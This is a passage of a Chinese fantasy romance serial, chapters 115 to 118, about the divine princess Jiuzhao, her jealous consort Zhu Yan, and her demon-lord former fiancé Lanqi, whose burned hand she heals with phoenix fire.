“真是的……想要昭娘的目光,全部落在我的身上,实在好难。” 他望着由神力幻化出来的虚假弯月,淡淡自言自语。 柔软、纯良、温和……种种九昭喜爱的特性,依次从他神容间褪去。祝晏苍白的面孔看起来孱弱依旧,可衬着按照某种频率微微抽动的两颊肌肉,又有种说不出来的神经质。 没有听众,他一边絮絮,一边弯腰坐在廊下的台阶上,用指腹抹开中指上的储物戒。 仙光乍亮,几个男人式样的木偶散落一地。 借着月色,依稀可以瞧见木偶的腹部分别贴着一个名字。 扶胥、瀛罗、朱映、兰祁……甚至还有芸生世时,凑在九昭跟前,讨好了几次的巽泽。 除开兰祁,另外的几个布偶五官、四肢、肚腹上均刺满了密密麻麻的银针。 其中,双眼尤甚。 而代表兰祁的木偶,仿佛刚刚开始。 祝晏信手捻起一枚锋利长针,对着它完好无损的右眼笑着扎了下去。 接着,缓慢拔起,又用力扎下去。 口中呢喃着:“她今日看了你一次,又看了你一次……” …… 九昭尚有诸多事要忙,昨夜寝殿的失态,经过一夜修整便恢复原样。 她思忖涅槃凤火用在人身上是第一次,没有经验,不如先试试当初替瀛罗修复玉剑的想法。 将自己的计划和目前面临的不足,都写在仙讯中发往西海。 没多久,瀛罗来信,说横竖玉剑已裂,不如用凤火放手一试。 九昭振奋起来,早膳未用便赶去西海。 她到达世子邸时,却恰巧碰上了一个意料之外的人。 抬步迈过院落门槛,与她迎头撞上的扶胥今日穿了件松绿的长袍。 目光一触即分,扶胥退后半步,拱手作揖:“见过神姬殿下。” 他向来是三清天中最恪尽臣子本分的那个,相比旧恨重逢,暗里剑拔弩张的兰祁,九昭简直怀疑自己过往与他的夫妻相处画面,只是午夜意识不清时做的幻梦一场。 往事纷沓而过,九昭注视他片刻,方示意平身,问道:“你怎么来了这里?” 扶胥直起腰,未抬头,言简意赅:“一些奉命公事。” 奉命。 他贵为上神,只能奉神帝的命。 九昭猜测公事亦是机密,不便对外泄露,便嗯了声,同他错肩而入。 背后,象征离开的脚步声没有立刻响起。 反倒是跟着九昭前来的绛玉满脸好奇:“太阳打西边出来了,扶胥上神没再常年穿黑衣!” 九昭不接话,轻轻瞥她一眼,绛玉又立即噤声。 …… 西海不同于人间海域,处处萦绕着水系仙灵。 照道理,在此处施展火系法术,九昭应当感觉到成倍的吃力。 可涅槃凤火经由掌心释放,再注入到布满裂痕的玉剑剑身,整个过程都异常顺利。 九昭施法需要专注,只留了瀛罗立在几丈外静候,其余人等退了出去。 赤光在剑髓中游走一个周天,所到之处,遭遇残缺不全的剑灵奋力抵抗。时间一点一滴过去,两道相互吞噬着,本该是死敌的水火之力,又发生变化,逐渐交织在一起。 凤火融化寒冰般的玉层,类似胶质的仙灵填满缝隙的每一处。 待到修复完成,玉剑上的裂纹不复,取而代之的,是赤红如血的熠熠纹路。 “瀛罗,你注入仙力试试,看看运转顺畅吗?” 九昭收回凤火,有些不好意思地半拢衣袖,“就是不知道你对它现在的模样满不满意——” 话音未落,重获新生的玉剑呼啸着朝瀛罗飞去。 闭目感知一个来回,聆听着剑灵恢复如初的蓬勃嗡鸣,瀛罗的指尖温柔抚过其上火纹,转头对九昭笑道:“臣倒觉得玉剑如今的样子更好看些,这些纹路聚在一起,像只涅槃不死的凤凰。” “你喜欢就好。” 修复过程虽顺利,但施展涅槃凤火远比寻常仙术消耗仙力。 九昭力竭弯腰,撑住双膝,缓和了片刻,脑中没多想他的话,只随口回应道,“不过你是鲛人族,那剑身的纹路还是别像凤凰了吧,否则多奇怪呀……” 瀛罗早就习惯了她过于粗壮的神经,闻言笑得如同被风轻拂的三月春枝。 “干嘛,你笑什么?难道我又说错了话?” 唯有在他这里,九昭才能短暂地放下储君威仪,变回三万岁前那个无忧无虑的少女神姬。 她叉着腰,没好气地冲瀛罗翻白眼。 同他打闹一通后,又关心起自己封入树心这些年,瀛罗身体的康复情况。 得知杏杳医伤救人十分尽心,她心中对她的成见才小了些。 两人靠在静室的寒玉床畔,并肩喝着九昭年少时最喜欢的冰酥酪奶茶,一勺一勺将沉在杯底的酥酪块充分搅拌到化开,九昭伸舌舔过被沾湿的唇心,突地戳了下瀛罗垂在自己腿边的小臂。 纤长睫羽敛覆眼眶,她象牙白的脸孔透出些许红: “我另外还有件事,想要托付给你。” 115| 第115章 ◎“殿下又怎会明白孤的心意?”◎ 见九昭这副模样, 瀛罗便知她要自己做的绝非小事。 他收起玩笑态度,正色抱拳:“殿下有命,臣无有不为。” 九昭仍在慢慢搅动着酥酪。 那雪白的乳块经由茶水浸透, 一缕一缕地化开来, 如同此刻她浮动不定的心情。 她慢吞吞说道:“我想知道一件事,可这件事若被旁人察觉,只怕会引起一场风波,思来想去, 我全然信任的人唯有你——嗯,我想知道,巫、烛龙尚在三清天度日时的经历, 特别是在他没被巫劭赏识,尚未成为半神前……在他弱小的时候,和哪些人不和,或受到过谁的欺负。” 其实这些事, 她想要了解, 找这些年替她鞍前马后做习惯了的朱映更为方便。 只不过朱映有被神帝亲自派来的这一层前提。 他若不对神帝说起, 便是蓄意欺瞒君上。 若说起,则伤了他们这么多年以来的主仆情分。 既然得不偿失, 九昭就不会去做。 是而, 她将托付的人选定为了瀛罗。 九昭说出口的内容,的确不在瀛罗的设想范围内。 他下意识问道:“为何殿下要了解这些?” 树心内发生的过往无法提起, 九昭只道:“为了一个承诺, 我许下了就得做到。” “好, 臣知晓了。” 瀛罗敛袖沉吟一阵, “只不过已然过去了几万年, 帝座又下令, 神仙不得随意探知巫劭未堕天前的往昔,此事恐怕有些难办,还请殿下多给臣一些时日。” 九昭猜到了瀛罗会答应,却没想到他答应得这么干脆利落。 她默不作声喝了口酥酪茶,并未露出欢喜的神色:“你虽答允了我,可有些事我自认为该跟你说清楚。瀛罗,你应该明白的,这件事若成,我短时间内无法报答你,若不成,没被人发现也就算了,若被人发现,传扬出去,于你于我,都是件不小的祸事。 “你为着情分,勉强自己,也实在不用,就算你不答应,依然是我九昭认定的好友——” “殿下说这些,才是叫臣心里不痛快。” 瀛罗打断九昭道明厉害的话,蹙眉温声道,“你我之间,原不必事事分明的。” 他越是体谅,九昭就越恨不得将自己有的东西都掏给他。她看了眼垂在瀛罗手畔,尚未收回的玉剑,内疚地说道:“……成与不成,我都要谢谢你,终是我亏欠你太多。” “这句话也不必说。” 又是一声干脆的打断,事事素来顺着她的瀛罗,难得有这般强硬的时候,“凤凰族的本命翎有多珍贵,臣是清楚的,无日渊内,若殿下不曾舍出它来护住臣,早已没有臣的今日了。” “……” 是啊,他们之间,有太多事说不清。 光用嘴来计较亏欠感激,实在没什么意义。 九昭想,自己坐在储君的位置上,将来总有许多回报的机会。 她将酥酪茶一饮而尽,对瀛罗勾起抹释怀的笑:“嗯!” 两只空了的琼盏落在寒玉床上。 两人肩膀抵着肩膀,仍像过去同眠在常曦殿内,秉烛夜话般亲密地你一言我一语。 九昭不忘从世子邸离开的扶胥,又凑在瀛罗耳边,闲聊似地说起:“我来时,见到了告辞离开的扶胥,他来西海干什么,可是父神派遣他有事同你商议?” 这是今日的这一场相会里,第二个令瀛罗感到意外的话题。 他不是不清楚九昭入邸时撞见了扶胥,只担心贸然说起会触动她的伤心事。 见九昭神色尚平静,他斟酌着说道:“还有一个多月便要举办留春宴了,今年有焚业海的加入,宴会格外不同一些,帝座下令要更加郑重对待,又命扶胥上神和西海共同负责戍卫事宜,父王接过旨意,将此事全权交给臣来处理,所以方才扶胥上神才会来到臣这里。” 九昭随意点点头:“原来如此。” “殿下,对于扶胥上神——可还有想法?” 瀛罗转过脸庞,一面委婉试探,一面半垂眼帘,专注地望着她,“要是介意与他碰面,臣会安排好一切的,以后不管殿下何时到来,定不会再出现这等谬误。” 面对瀛罗的小心翼翼,九昭也不知该回答什么。 大概一对伴侣之间,做不到好聚好散,日后再相见,总归是难堪的。 可她不只是九昭,更是三清天的神姬。 就像扶胥不只是扶胥,亦是为三清天尽忠的战神。 这注定了他们不可能因为私人情感,而老死不相往来。 最后,九昭回了句算不上真心话的真心话: “罢了,你只看扶胥对我的态度……他都放下了,我又有什么好放不下的。” …… 回到离恨天。 又过几日,朱映禀告兰祁带着凤凰族长过来拜访储君。 九昭自然不认为他是来赔礼道歉的。 毕竟澄心池前的交锋,他三言两语将她气得够呛。 九昭心中极不愿意见他,奈何如今正值两族邦交,面子上还是要过得去的。 她想了想,挥手叫女婢引兰祁一行人到正殿,自己则在寝宫描眉画眼,更衣换服。 硬是将人晾了大半个时辰,她才提着裙摆,磨磨蹭蹭进殿,在主位上坐下。 紧接着,挤出公事公办的笑意: “不知业尊造访我常曦殿所为何事?” “几日前,孤带来的这些使臣冒犯了殿下。其中,以无咎的罪过最不可饶恕。过错轻的几人,孤已经惩罚过了,可无咎的错须要得到殿下谅解,为此,孤特地带他来向殿下请罪。” 兰祁站起身,颇为真情实感地朝九昭拱手,他那双修长如玉的手掌被深黑手套束缚起来,指间戴着一枚异兽戒指,被红宝石雕刻而成的,似狼似豹的兽首折射出如同鲜血般的光泽。 敏感如九昭,很难不注意到这点鲜明的变化。 手被涅槃凤火烧成那个德性,看看过了这点日子,肯定是治不好的。 他倒不怕伤重溃烂,非至裹得严严实实才敢出门。 九昭腹诽着他死要面子活受罪,面上又装作不以为意,淡声问道:“业尊既说了带着凤凰族长来请罪——请罪总该表现出诚意,不知业尊打算用何种方式来获得孤的原谅?” 说完,她不与兰祁对视。 侧转瞳珠去捉跟在兰祁身后,打从进来起就低着头的凤凰首领无咎。 察觉到九昭的视线,沉默良久的无咎抬起头来,隐忍的眸间显而易见几分不甘心。 九昭突然又一次想到了父神赠予她的天马。 无咎这等专在背后诋毁的伪君子,当然不能与美丽高傲的天马相较。 但不妨碍,她用鞭子将他抽打到低下头颅,认清楚何为寄人篱下。 九昭交叠手指,抵住下颌。 她并不言明兰祁如何做,自己才会消气,只坐在高处,好整以暇地垂眸望过去。 同她相望几瞬,兰祁倏忽一笑。 那笑容若艳阳破冰,隽美之处,令人目眩神迷。 而与神容相反的,他指间凝聚起浓郁的魔气,转身一掌拍在无咎胸口。 一声闷哼响起。 方才还倔强不屈的无咎,身体便如脱线风筝一般飞了出去,猛地撞上殿门旁的墙壁。 无咎张口喷出口血,点点血迹溅射在玉砖之上,面色顿时苍白若死。 以凤凰族的实力,哪怕叛天,也能够成为焚业海数一数二的大部族。 兰祁当日以区区天仙身份堕魔,今朝却敢对着力量弱不了自己几分的凤凰首领如此狠辣。 是焚业海各部对他的忠心,真的到达了这种程度。 还是他的修为已然强悍到对方无力反抗,只能俯首称臣。 这两点对于三清天而言皆不是好事。 九昭的神容显出须臾凝肃,缄默着没有草率开口。 那头,兰祁却维系着恬淡的笑意,再次对无咎出手。 一掌、一掌、又一掌。 直至无咎唇边的鲜血越溢越多,整个抵抗不住阖眼快要昏过去。 “够了——” 怎么惩罚诋毁母神的凤凰族都不为过,可九昭不愿自己的离恨天成为魔族的横尸地。她出声制止兰祁的行为,语气依旧不冷不热,“这里并非业尊自家的刑场,要打要骂,烦请另找他处。” “若不在殿下眼前行刑,殿下又怎会明白孤的心意?” 这话说得有些怪异。 九昭只想反唇相讥什么狗屁心意。 兰祁却没停顿,那双黑沉沉的眼眸死死盯着她,接着说了下去,“焚业海是真心想与三清天议和的,望神姬殿下知悉——切勿因为臣下的一点过失,而伤了两族情谊。” 若真心求和,私下里,又怎会对自己做出那样的行为? 看来凤凰族的心口不一,便是同他这位业尊陛下学的。 九昭冷眼觑着兰祁:“真心不真心,原也不在话上,业尊只要真是这么想的便好。” “那是自然。 “若神姬殿下还不满意,可亲口说出具体的刑罚内容,孤定做到让你满意为止。” “将他打死又有什么用,阳奉阴违之人尚有许多—— “业尊要是有心,就该好好同臣民说说,陷在过往之咎当中,一叶障目没有任何意义。” “殿下教训得是。” 车轱辘话来来回回说,当着众人的面,兰祁认错的态度无比良好。 然而九昭知晓,在他翩翩公子的温良皮囊下,那颗跳动着的心脏,永远充满阴暗和压抑。 一匹狼亲口说出甘愿看家护院,他也变成不了狗。 九昭厌烦了,摆摆手,想下逐客令。 话未出口,兰祁向前几步,来到她的座下方,一双秀美的瑞凤眼轻轻挑起:“孤此次造访离恨天,除了真心实意带无咎来认错,还有另一件事——不知殿下可否与孤私下恳谈?” 【作者有话说】 放假了有一点点忙,更新时间偶尔会不固定,明天休息一天,也祝小天使们五一快乐~ 116| 第116章 ◎“哥哥、兄长。”◎ 吃一堑长一智, 有了上次,九昭不愿再同兰祁单独相处。 听完他的请求,她皮笑肉不笑地表示:“殿内众仙, 皆忠于我, 业尊有何事不可当众直言?” “不当众直言,自是为了两族的和睦来往。” 兰祁并不直言,也不吃她这套。 他那双从不显山露水的眼睛盯着九昭,其中光影明灭浮动, 似有万语未诉。 九昭益发觉得古怪:“本殿倒是很好奇,这究竟是件什么事,当众说出会影响邦交。” 见她听不进去自己的话, 兰祁不再勉强。 “澄心池畔,殿下与孤——” 他一字一顿的话音,配合着缓慢为自己摘下手套的动作。 那焦黑与血红混杂在一处,看起来触目惊心的伤口方露出小半, 九昭陡然明白他的来意。 原来。 处罚无咎事小。 最重要的还等在这里。 “慢着——” 话音比脑海其他的念头来得更快。 叫停的瞬息, 九昭已从主位上站起。 她投了个眼神给一左一右立于阶下的绛玉缃璧:“命人将凤凰族长送回焚业海使臣之处。” 随后, 眸色近乎森沉地盯着兰祁,“侧殿自有茶水备下以迎宾客, 业尊随本殿来就是。” …… 茶水备下, 以迎宾客。 不过是表面上的好听说法。 九昭一路走,一路将兰祁带进离恨天最偏僻的殿宇, 才砰得一声狠狠关上大门。 “几次三番来我这里受辱, 业尊好像认为很有意思。” 有粉末状的尘埃在殿门顶端映亮的光线里无声飞舞, 九昭指着兰祁受伤的手, “怎么, 你是有什么受/虐的癖好吗?留着伤口包在手套里, 日日品尝痛苦的滋味也是为了提醒自己记住?” 兰祁对她的讽刺不为所动,淡定寻到长案前的室椅敛衽落座,态度客气,却透出几分不容置喙的强势:“涅槃凤火造成的伤口,单凭孤的魔体无法自愈,只能麻烦殿下费心了。” 这葫芦里卖的又是什么药。 涅槃凤火之所以被仙魔忌惮,是因为在除了能够让人跨越位阶的压制,拥有重伤上位者的能力之外,被它伤到,不论内伤还是外伤,不由凤凰族吸收掉其中的火灵,是很难被治好的。 九昭很清楚这点——但她同样清楚,如今凤凰族就在兰祁的掌控之下。再加上另一半真血的拥有者也供他驱使,想要治好伤势,不说易如反掌,至少不会令他无可奈何,求到自己这来。 更何况,看着兰祁的模样。 优哉游哉的,也不像是走投无路。 九昭的视线依旧阴沉沉的。 她不在兰祁眼前坐下,转而踱步到另一侧的窗台前。 背对着兰祁,似笑非笑说道:“有那么多凤凰为业尊前仆后继,仅是一处小伤而已,业尊何必要来拜托本殿?业尊又不是不知道,要叫本殿出手帮忙,总要付出不少代价的。” “什么代价,殿下不妨说来听听。” 兰祁话音沉静,似乎彻底遗忘了过去的经历。 九昭轻哼一声:“昔年为本殿养兄时,为叫我高兴,业尊做过什么,如今不妨再做一次。” 横竖仙魔恢复邦交与否,他们都是一辈子的敌人了。 由于太过了解彼此,多看一瞬和气的笑靥都觉得出戏至极。 想通这点,此刻又仅剩他们两人。 九昭兀自说个痛快,不料一具体温低于自己的人躯倏忽从背后贴上。 “!!” 她短促地叫了一声,被青年的突然靠近激得身体僵硬,“你干什么?!” 可仿佛对方不只为了吓吓她,叫她闭嘴。 那看似清瘦的男性躯体一覆而下,相隔布料,坚实胸膛如高墙般抵着她的后背。 那双不知何时摘去了漆黑手套的手,亦压住她的手背,十指不容反抗地扣进她的指缝,如同被压制着的姿势一般,将九昭双手抬起,抵在墙上,右手的伤口也正好落在与九昭视线齐平的咫尺间。 几日未治,那处显然更严重了。 黑黢黢的血肉被灼干水分,一寸寸皱了起来,大面积袒露的白骨触目惊心。 然而,兰祁像是感觉不到疼: “昔年孤做过什么—— “未知神姬殿下提的是哪一件? “是因为一句与女伴心血来潮的打赌,强迫我独身进入灵兽森林为你寻找传说中的积月花? “还是酒到酩酊时,非要我跪下来,四肢着地做被你/骑的大马?” 随着青年淡漠的言语钻进耳中,九昭说不出话,挣扎的幅度也无意识地变小了些。 这桩桩件件,没有伪造,更没半点夸大其词。 年少的自己满心满眼只有他真的——可没有学会如何正确爱人,对他苛刻也是真的。 一半厌恶,一半内疚,两种情绪来回撕扯着九昭的心脏。 偏兰祁还要笑盈盈地补上一句:“这世上唯一一朵的积月花,我已在你两万岁的生辰宴来,以丢了半条命的代价寻来给你了,那么殿下是想让我继续变成马给你/骑,来哄你高兴吗—— “只不过殿下早已长大了,裙摆也长了不少,想要骑/哥哥,得把裙子高高撩起来才是。” “住嘴,谁允许你说出‘哥哥’这个词的!” 这两个用来称呼家人的字眼,更像是一把无形的刀刃捅进九昭的弱处,深不见血。 她四肢剧烈颤抖一息,终于有了力气,转身将兰祁使劲推开,顺势一耳光打在他面上。 火辣辣的痛楚自被打红的肌肤间传来。 兰祁情不自禁用舌尖顶了顶:“下手这么重……孤还真是新伤叠旧伤啊。” “哥哥、兄长。” 九昭抬头,两眼死死钉在他的面孔。 “若你的嘴里再敢说出类似的词汇,兰祁,拼着天令不顾,本殿也会杀了你。” 兰祁回望她,隽秀眉眼俱是问心无愧:“若殿下不愿孤再以过往交情相求,便答应为孤治疗吧,世间凤凰族千千万,孤最信任的,终究是殿下你——另有一层,留春宴不允许宾客戴手套出席,届时孤若袒着被涅槃凤火灼伤的患处前去,叫其他人看见,怕是殿下的名声会受到非议。” …… 这一番交锋,九昭败下阵来,不复澄心池边的胜券在握。 于情于理,她都不得不为兰祁治疗。 可很快,她想到了新的报复办法。 兰祁的伤口无法愈合,盖因血肉之间残留的涅槃火灵在持续灼烧。 只要将火灵完全吸收,后续随便一个医官就能将伤治愈,不需要九昭负责到底。 换个角度想想,这何尝不是一种熟练涅槃凤火的过程? 对于祝晏的病,方方面面准备得越到位,成功的可能性才越高。 既然兰祁无偿送上门给她练手,那么她也不妨转变观念,欢喜笑纳。 怀揣着这种念头,九昭先后为兰祁吸收了三次火灵。 那火灵极其细微,肉眼难见,藏匿在皮肉血液之间。 若有一处清理不到,伤口便会故态复萌。 她调动着涅槃凤火,输出的力量时大时小,尝试着更精准地把控感知—— 这可苦了兰祁。 往往到治疗结束时,火灵才吸收了一二分,兰祁却被她弄得满头冷汗,疼痛加剧。 兰祁也曾询问过何时才能治好。 脸色从阴郁到游刃有余的九昭总是笑着回答,心急吃不了热豆腐,留春宴前约莫能够治好。 如此两日一回,兰祁多来几次,从境阙出来的祝晏也知晓了此事。 续脉淬骨的期限将近,连巫逐的事,九昭都得遵从父神暂时隐瞒下来。 其他无谓的小节,她更不想令祝晏担心。 只含糊地说起,那日澄心池畔,两人喝多了酒有些上头。 便如同少时一般,仗剑切磋起来。 过程中,不小心下手失了分寸,兰祁被涅槃凤火伤到,所以自己只能负起责任为他治疗。 祝晏并不在意兰祁,只当晚反复缠磨着九昭,宽衣解带让他细细检查一番可有受伤。 床笫间不消说,应有一番香艳。 所幸九昭还记得杏杳的警告,坚守意志,顶多架不住他的撒娇耍痴,将他的唇脸磨了磨。 云消雨散,祝晏同她提起自己的另一番顾虑。 “昭娘与业尊清清白白,来往只为疗伤,我当然是清楚的,可是您同他比武受伤之事,不好外传,业尊频频出入离恨天的行为,落在那些不明就里的外臣眼中,或许会——” 祝晏没说下去。 意思却很分明。 听进去的九昭不觉得他在嫉妒吃醋,沉吟片刻后反倒认为很有道理。 兰祁作为她的养兄和前未婚夫,这是不争的事实。 但凡关系沾染男女感情,不论行事如何堂堂正正,总会蒙上层暧昧的阴影。 …… 枕在祝晏肩膀上的小巧头颅仰起。 九昭火热的身体贴得他更紧了点,眼瞳亮闪闪的,像是冬日里一方爆出火星的小暖炉。 她充满信赖地望着祝晏:“那晏郎认为我们该如何?” 尽管心中已有了主意,但祝晏是她的伴侣,任何能够商量的事,她都会尽量听取他的意见。 祝晏没有立刻答话。 他将九昭被汗水濡湿,黏在侧颊的鬓发抚平,方才犹豫着开口:“……要不,和业尊商量商量,让他别再正大光明地拜访离恨天,将治疗的时间和地点,都换得更隐秘些?” 117| 第117章 ◎“故地重游。”◎ 祝晏的念头与九昭不谋而合。 只不过, 兰祁不方便常来离恨天,她也不能够常去扶摇殿。 毕竟那是父神的地方,做任何事都容易被发现。 她将祝晏提出的想法, 挑挑拣拣, 化作条仙讯传给了兰祁。 得到兰祁的回复:“灵泉宫可还空着?” 空着当然是空着的。 灵泉宫是兰祁昔日的居所。 他堕魔之后,被神帝下令搜检一番就弃置在了那里。 二清天殿宇林立,定居在此的神仙却不多,除了五位上神, 其余的便是各司其职的神署。 久而久之,灵泉宫这个曾经仅次于离恨天的门庭若市之地,眼下唯剩一片荒芜。 倒的确是个既清净利于治疗, 又不会引人瞩目的好地方。 可九昭总觉得,有种说不出来的奇怪。 这种在同兰祁见面后,变成怀疑询问出口:“你怎么会主动选在这里?” 九昭手上的令牌,可以开启三清天任何一处的结界。 兰祁负手站在旁边, 待封印的神术结界被打开一条缝隙, 他率先抬步走了进去:“故地重游, 不是仙魔人普遍爱做的事吗?既然有这个机会,孤也想来看看, 神姬殿下觉得很稀奇吗?” 灵泉宫内多植高树。 如今无人打理, 微风拂过,带起满地瑟瑟黄叶。 久无人居的房屋, 哪怕外表看起来光鲜, 内里却透着股陈旧的腐朽味道。 九昭皱着眉跟在他身后—— 人爱故地重游, 多半在衣锦还乡后。 他为仙魔大战中的失败方, 而灵泉宫又处处物是人非, 难道心境不会更添萧索? 穿过庭院前殿, 二人来到灵泉宫之所以被赐名为“灵泉宫”的原因所在。 那是架设在两殿中间的一座高台,拔地而起,四方有清泉围绕,周围不设台阶,想要上去得动用仙力踏云而行,而清泉因着充斥水木灵华的缘故,经年白烟袅袅,仙雾飘飘。 人在其上,对月饮酒。 万籁俱寂,六根清明。 用芸生世的话本里,描述上界最爱用的词汇“洞天仙境”来形容,恰如其分。 “灵泉宫一开始不叫灵泉宫,也没有泉水和这座高台,你知道吗?” 提到故地重游是人之常情,兰祁仿佛突然起了谈兴——他没有找个干净的地方坐下,以便九昭施展仙术,吸收火灵,而是绕着仍然澄净流淌的泉水,信步踱进。 他问的问题,九昭并不了解。 两人的岁数差了一千五百年,她出生时,兰祁便是广受称赞的神帝养子。 提到灵泉宫,更是无人不知无人不晓。 最开始不叫灵泉宫,那应该叫什么? 她怎么会知道? 见九昭驻足在几丈外,表情有些莫名其妙,兰祁继续说道:“帝座与神后殿下当初把我带回来的时候,我刚化形不久,体质孱弱,为了助我稳固神魂,帝座特地从南陵移来了这湾灵泉。” 回忆往事,那个高高在上,颇有距离感的“孤”字,从兰祁的话音里短暂消失。 “其中蕴含的木系仙元,来自南神王的馈赠,而水系仙元,则由帝座化散神力亲自注入——可以说,要是没有帝座和神后殿下,我早就成为了森林里其他野兽的盘中餐,何来今日。” 兰祁垂落眼眸,像是跟随叙述,重新进入过去的记忆。 他不再关注九昭变化的表情,指尖凝起一簇模拟仙力华光的水蓝色魔气:“从籍籍无名的林间仙草,到人人称颂的兰祁神君,我的身份,我的地位,我所得到的一切,皆出自你的父母。” 即便堕入魔道,兰祁依旧没有在感谢自己父神母神的心血付出。 可九昭不仅不觉得欣慰,心中的愤怒反而更加深了些。 她没见过母神同兰祁在一起的场景,可父神对于兰祁的细心栽培,日日映在眼帘。 不是亲子,胜似亲子。 这八个字足以概括他们之间的亲近程度。 甚至在几万年前,三清天还流传过兰祁为神帝情人外室所出庶子的轶闻。 直到众人看出她和兰祁的感情逐渐变质,这等荒唐的传言才慢慢止息——兄妹相恋,有违人伦,凤凰族自上古就有的习俗不好指摘,放在普通神仙里,那是万万不被允许的。 九昭从来都是那句话。 兰祁厌恶她的所作所为,大不了同她解除婚约。 非要投靠焚业海,便是连父神母神也一同对不起。 “……白眼狼。” 越听越觉得此刻的兰祁在惺惺作态,九昭别过头,轻声骂了一句。 可惜,她这个转头,却是错过了青年眼中一闪而过的,与言行截然相反的嘲讽。 “你说什么?” 兰祁微微侧首,笑意如常。 神仙的耳力普遍和好,身为魔尊又能差到哪里去? 九昭觉得他又在给自己挖陷阱,于是硬巴巴地顶回去:“没说什么,业尊日理万机,本殿宫里也还有许多事,赶紧开始治疗吧,过去的事早已过去,业尊再怎么怀念,也改变不了分毫。” 兰祁不言,并起两指,将伪装成仙力的魔气注入清泉,企图重温一回曾经浸身其中,与自然相合的舒适。可魔气甫一接触到水面散布的水木灵华,立刻被无声腐蚀,还伴随着强烈的排斥。 滋养自身的灵泉,化作了吞噬魔气的毒潭。 满心爱慕的妻子,变成了不同戴天的仇敌。 “是啊。” 兰祁凝视着指间,唇角微微抽动,宛若在笑,“的确是改变不了分毫。” 不过须臾,他又恢复如常,抬手指着烟岚遥袅的高台:“殿下,治疗地点,不若在其上。” …… 换了个场所,不必再思考同魔族常往来的对外借口,九昭却半点不觉得放松。 倘若灵泉宫处处承载着兰祁的记忆,那么这座高台,则浸满了他们两个人的。 九昭天生属火,体温高出常人不少,虽耐热,但不喜热。 高台被沁凉的泉水萦绕,正午时分,她下了课业,很喜欢来这里午睡。 而每每与兰祁相处,有大半时间也在高台上度过。 她会躺在光滑似玉的竹簟上翻看话本,会挨在兰祁身畔,看他信笔挥洒丹青,会于月到中天时,就着满地的莲花灯,为他跳一支新学的舞蹈……甚至,无数次共赴云雨亦在此间发生。 往事一幕又一幕出现在眼前,九昭的面色难掩不适。 轻而易举瞧出她的心事,兰祁选择看破不说破:“殿下可是觉得,这里还不够清爽?” “咳。” 望见对方带着几分玩味的眸光,九昭装作清了清嗓子,“是有股腐朽的粉尘气。” 兰祁微微一笑,裹挟清洁之力的魔息第三次席卷方寸之地。 可弄得足够干净,在施法吸收火灵时,九昭还是出了岔子。 上一瞬,她明明正在专注试验涅槃凤火。 下一瞬,却不知怎的,眼皮发沉,做起了梦。 梦里,她第一次拥有了九昭以外的身份。 ——她竟然变成了兰祁。 118| 第118章 ◎“君子之节,如兰祁祁。”◎ “你醒了。” 亲切女声自床边响起, 好似夜风拂过牡丹,簌簌而下的花瓣,柔和中带着女性独有的馥郁。 随着话音入耳, 仰躺在床上犹自迷蒙的少年, 侧头向她望去。 九昭突然很庆幸这只是个梦。 否则睁眼对上仅在画像里看到过的,如今活生生出现在面前的母亲—— 她恐怕自己会当场会颤抖着落泪,然后扑进她的怀里。 纵使九昭困在这具躯壳里,含着哽咽反反复复呼唤了多少遍母神, 可梦是发生在过去的现实,反应到少年兰祁的面上,他望着这位面容绝艳, 身份高贵的美妇,愣愣说不出话来。 “诶,是还有哪里不舒服吗?”迎着少年初醒的迷懵眼光,神后伸出手, 将温暖的掌心盖在他额头, 辗转几息, 小声自言道,“不过体温倒还好, 没有发烧。” 确定并无大碍, 神后又蕴起抹笑:“自打将你从一清天的南边森林带回来,你已昏迷七日。如今醒来, 你可记得自己的名字, 家在何方, 有无父母亲族?若记得, 我会差人送你回去。” 身体虽没有不舒服的地方, 大脑却是一片空白。 稍微凝神, 便痛得欲要裂开来。 最后索性放弃思考,面容苍白的少年缓慢摇了摇头:“什么,都不记得了。” 神后不意外他的回答。 那探知体温的左手翻转过来,以无比怜惜的力道,轻轻抚摸他的头:“不记得也无妨,其实我在你昏迷时,我就派人四散寻找过你的同族,可惜这三清天内,似乎只得你这一株荟灵仙草。 “不过,相逢就说明你我有缘—— “你愿意做我的孩子吗?以后由我来成为你的母亲,照顾你,教养你。” 说着,她收回手,展开双臂。 那是一个母亲欢迎孩子到来的姿势。 去呀。 快去呀。 强烈渴望着母亲怀抱的九昭,在他的脑海里大声催促着。 过了许久,少年才坐起身子,试探着朝她的方向倾了过去。 随即被一双挽着披帛的柔软手臂紧紧拥住。 “还有,忘了自我介绍,这里是三清天春台殿,我是神后太婀,你便称我为母神吧。 “君子之节,如兰祁祁,你以后叫兰祁可好?” 虽在梦里,可拥抱的触感无比真实。 九昭无心注意面容尚且稚嫩的兰祁回答是否得体,属于母亲的温度、香气和力度,都叫她几欲潸然泪下,她发自真心地盼望这个梦能做得再长一些,再久一些。 然而,一道无法反抗的力量,拉扯着她的灵魂,自兰祁的身躯中抽离。 …… 从伏倒的书案上醒来,天色已近黄昏。 相拥的余热,仿佛仍然停留在肌肤上。 九昭意犹未尽挲了挲自己的臂肘,那是方才的梦境里母神掌心触碰过的地方。 “你醒了。” 又是同样的语调,同样的开场。 九昭一怔,朝着书案对面望去。 万丈霞光映照在兰祁端秀面孔,他的瞳孔与神后如出一辙的温和从容。 一时之间,现实与幻梦的界限倏忽扭曲。 九昭不知自己已然醒转,亦或犹在梦中。 对着这张和母亲气质神容相似的脸,孺慕的情绪未褪,她难以升起质问其是否做了手脚的愤怒,缓了片刻,才低声问道:“你对我做了什么,好端端,我怎么会突然开始做梦—— “还梦见变成了你。” 书案宽不过一尺有余,兰祁同九昭面对面坐着,离她很近,却又好似远在天边。 他将九昭最后半句话含在齿关,舌尖勾缠着复述一遍,露出惯见的,恍若无辜实则深意无穷的笑容:“神仙几乎无梦,一旦做梦,要不为预知梦,要不为执念梦,看来昭昭对我执念很深。” “业尊别自作多情。” 九昭最烦他这样说话。 俱是虚情假意的揶揄出口,那层肖似母神的模糊气息荡然无存。 她乜眸冷冷觑他一眼,自知若兰祁若不想回答,不久前突然入梦的经历无论如何逼问,都得不到实话,索性警告道:“如今我们是何关系,昭昭这等亲密的称呼,不该出自业尊之口。” 兰祁从善如流改口:“自从离开三清天,孤从未想过还有能与殿下共案而坐,岁月静好的时候,方才望着殿下的睡颜,孤一时出了神,恍惚以为犹在少时,才会口误,请九昭殿下谅解。” 共案而坐,岁月静好。 这等形容,只叫九昭觉得可笑。 那看似狭窄的书案,何尝不是另一道天堑。 提醒着他们,再也不会有彼此坦诚交心的机会。 落日一寸一寸西垂,晚霞的余晖揉进九昭眼中,化作一道潋滟却拒人于外的壁障。 